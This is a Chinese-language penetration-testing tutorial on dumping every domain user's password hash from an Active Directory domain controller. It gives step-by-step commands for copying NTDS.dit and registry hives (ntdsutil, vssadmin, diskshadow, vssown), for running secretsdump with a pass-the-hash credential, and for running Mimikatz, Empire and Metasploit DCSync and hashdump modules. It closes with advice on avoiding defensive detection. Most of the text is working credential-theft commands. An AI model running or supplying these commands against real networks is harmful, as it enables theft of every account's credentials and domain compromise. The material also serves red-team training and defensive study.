域内用户Hash获取方式总结
字数 1319 2025-08-23 18:31:34

域内用户Hash获取方式总结

文章前言

在渗透测试过程中,当获得域管权限后,提取域内用户密码哈希进行离线破解和分析是常见操作。这些哈希值存储在域控制器(NTDS.DIT)数据库文件中,包含用户名、散列值、组、GPP、OU等Active Directory相关信息。NTDS.dit文件位于:

C:\Windows\NTDS\NTDS.dit

NTDS提取方法

1. NTDSUTIL方法

NTDSUTIL是域控制器自带的命令行工具,可用于创建NTDS.dit文件的快照。

操作步骤:

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

生成文件:

  • C:\ntdsutil\Active Directory - 包含NTDS.DIT文件
  • C:\ntdsutil\Registry - 包含SAM和SYSTEM文件

使用ntdsdump提取Hash:

ntdsdump.exe -f ntds.dit -s SYSTEM

参数说明:

  • -f - ntds.dit路径
  • -k - 十六进制格式的SYSKEY
  • -s - system.hiv路径
  • -h - 导出历史密码记录
  • -t - 导出格式(LC或JOHN)
  • -o - 导出到指定文件

2. vssadmin方法

使用Windows自带的卷影拷贝工具。

操作步骤:

  1. 创建C盘卷影拷贝:
    vssadmin create shadow /for=c:
    
  2. 复制NTDS.dit和SYSTEM文件:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
    
  3. 删除卷影拷贝:
    vssadmin delete shadows /for=c: /quiet
    
  4. 使用impacket导出Hash:
    ./secretsdump.py -system /root/vssadmin/SYSTEM -ntds /root/vssadmin/ntds.dit LOCAL
    

3. vssown.vbs方法

使用Tim Tomes开发的vssown.vbs脚本。

操作步骤:

  1. 启动卷影拷贝服务:
    cscript vssown.vbs /start
    
  2. 创建C盘卷影拷贝:
    cscript vssown.vbs /create c
    
  3. 列出当前卷影拷贝:
    cscript vssown.vbs /list
    
  4. 复制文件:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\vssown\ntds.dit
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SYSTEM C:\vssown\SYSTEM
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SAM C:\vssown\SAM
    
  5. 删除卷影拷贝:
    cscript vssown.vbs /delete {54EC...}
    
  6. 使用impacket导出Hash:
    ./secretsdump.py -system /root/vssown/SYSTEM -ntds /root/vssown/ntds.dit LOCAL
    

4. diskshadow方法

使用Microsoft签名的diskshadow工具。

脚本内容(diskshadow.txt):

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
reset

执行命令:

diskshadow.exe /s c:\diskshadow.txt

导出system.hive:

reg save hklm\system c:\system.hive

使用impacket导出Hash:

./secretsdump.py -system /root/diskshadow/system.hive -ntds /root/diskshadow/ntds.dit LOCAL

5. Impacket直接导出

使用impacket工具包中的secretsdump。

本地解析:

./secretsdump.py -system /root/system.hive -ntds /root/ntds.dit LOCAL

远程导出(需凭证):

./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2

6. esedbexport方法

使用libesedb工具提取NTDS.dit中的表信息。

安装libesedb:

git clone https://github.com/libyal/libesedb
cd libesedb/
./synclibs.sh
./autogen.sh
sudo apt install git autoconf automake autopoint libtool pkg-config
./configure
make
sudo make install
sudo ldconfig

提取表信息:

esedbexport -m tables /root/ntds.dit

使用ntdsxtract导出Hash:

  1. 安装ntdsxtract:
    git clone https://github.com/csababarta/ntdsxtract.git
    cd ntdsxtract
    python setup.py build && python setup.py install
    
  2. 导出Hash:
    ./dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
    
  3. 导出计算机信息:
    ./dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv
    

7. NTDSDumpex方法

使用NTDSDumpex.exe工具。

命令:

NTDSDumpex.exe -d ntds.dit -s system

第三方工具方法

1. Mimikatz

获取所有域用户信息:

lsadump::dcsync /domain:hacke.testlab /all /csv

获取特定用户信息:

lsadump::dcsync /domain:hacke.testlab /user:testuser

直接在域控上执行:

privilege::debug
lsadump::lsa /inject

2. Empire

提取所有用户hash:

usemodule credentials/mimikatz/dcsync_hashdump

dump特定账户:

( Empire: 8GLZTYXR ) > usemodule credentials/mimikatz/dcsync
( Empire: powershell/credentials/mimikatz/dcsync ) > set user Al1ex
( Empire: powershell/credentials/mimikatz/dcsync ) > execute

3. Nishang

使用Copy-VSS.ps1脚本。

命令:

Import-Module .\Copy-VSS.ps1
Copy-VSS  # 复制到当前目录
Copy-VSS -DestinationDir C:\ShadowCopy\  # 复制到指定目录

使用Mimikatz解析:

lsadump::sam /sam:sam.hive /system:system.hive

4. Metasploit

模块:

run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump

5. fgdump

命令:

fgdump.exe

6. Invoke-DCSync

基本使用:

Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync

PWDump格式输出:

Invoke-DCSync -PWDumpFormat

总结

本文详细介绍了多种获取域内用户Hash的方法,包括:

  1. 使用系统自带工具(NTDSUTIL、vssadmin、diskshadow)
  2. 使用第三方工具(Impacket、Mimikatz、Empire等)
  3. 各种方法的适用场景和操作步骤

在实际渗透测试中,应根据目标环境选择合适的方法,注意避免触发防御机制。

域内用户Hash获取方式总结 文章前言 在渗透测试过程中,当获得域管权限后,提取域内用户密码哈希进行离线破解和分析是常见操作。这些哈希值存储在域控制器(NTDS.DIT)数据库文件中,包含用户名、散列值、组、GPP、OU等Active Directory相关信息。NTDS.dit文件位于: NTDS提取方法 1. NTDSUTIL方法 NTDSUTIL是域控制器自带的命令行工具,可用于创建NTDS.dit文件的快照。 操作步骤: 生成文件: C:\ntdsutil\Active Directory - 包含NTDS.DIT文件 C:\ntdsutil\Registry - 包含SAM和SYSTEM文件 使用ntdsdump提取Hash: 参数说明: -f - ntds.dit路径 -k - 十六进制格式的SYSKEY -s - system.hiv路径 -h - 导出历史密码记录 -t - 导出格式(LC或JOHN) -o - 导出到指定文件 2. vssadmin方法 使用Windows自带的卷影拷贝工具。 操作步骤: 创建C盘卷影拷贝: 复制NTDS.dit和SYSTEM文件: 删除卷影拷贝: 使用impacket导出Hash: 3. vssown.vbs方法 使用Tim Tomes开发的vssown.vbs脚本。 操作步骤: 启动卷影拷贝服务: 创建C盘卷影拷贝: 列出当前卷影拷贝: 复制文件: 删除卷影拷贝: 使用impacket导出Hash: 4. diskshadow方法 使用Microsoft签名的diskshadow工具。 脚本内容(diskshadow.txt): 执行命令: 导出system.hive: 使用impacket导出Hash: 5. Impacket直接导出 使用impacket工具包中的secretsdump。 本地解析: 远程导出(需凭证): 6. esedbexport方法 使用libesedb工具提取NTDS.dit中的表信息。 安装libesedb: 提取表信息: 使用ntdsxtract导出Hash: 安装ntdsxtract: 导出Hash: 导出计算机信息: 7. NTDSDumpex方法 使用NTDSDumpex.exe工具。 命令: 第三方工具方法 1. Mimikatz 获取所有域用户信息: 获取特定用户信息: 直接在域控上执行: 2. Empire 提取所有用户hash: dump特定账户: 3. Nishang 使用Copy-VSS.ps1脚本。 命令: 使用Mimikatz解析: 4. Metasploit 模块: 5. fgdump 命令: 6. Invoke-DCSync 基本使用: PWDump格式输出: 总结 本文详细介绍了多种获取域内用户Hash的方法,包括: 使用系统自带工具(NTDSUTIL、vssadmin、diskshadow) 使用第三方工具(Impacket、Mimikatz、Empire等) 各种方法的适用场景和操作步骤 在实际渗透测试中,应根据目标环境选择合适的方法,注意避免触发防御机制。